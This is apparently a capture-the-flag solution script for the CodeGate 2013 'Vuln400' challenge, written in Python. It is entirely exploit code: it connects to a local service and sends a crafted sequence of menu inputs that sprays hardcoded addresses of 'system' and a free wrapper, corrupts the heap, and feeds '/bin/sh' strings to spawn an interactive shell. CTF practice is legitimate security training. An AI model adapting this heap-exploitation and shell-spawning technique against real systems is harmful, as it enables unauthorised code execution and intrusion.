[CodeGate 2013] Vuln400

exploit.py

from No___Op import *

target = 'localhost:4444'

c = Pwning( target )

system = 0x8048630
free_wrapper = 0x80487c4

time.sleep(30)

payload  = ''
payload += '1\naaaa\naaaa\naaaa\n'
payload += '1\naaaa\naaaa\n' + p32(free_wrapper)*500 + p32(system)*500+ '\n'
payload += '1\naaaa\naaaa\naaaa\n'
payload += '2\n2\n'
payload += '3\na\n' * 128
payload += '1\n'
payload += '4\n'
payload += '1\naaaa\naaaa\naaaa\n'
payload += '1\naaaa\naaaa\naaaa\n'
payload += '2\n'
payload += '4\n'
payload += '3\n/bin/sh\n' * 128
payload += '2\nbbbb\nbbbb\n'
payload += '1\n'

c.write(payload)
c.dbg_shell()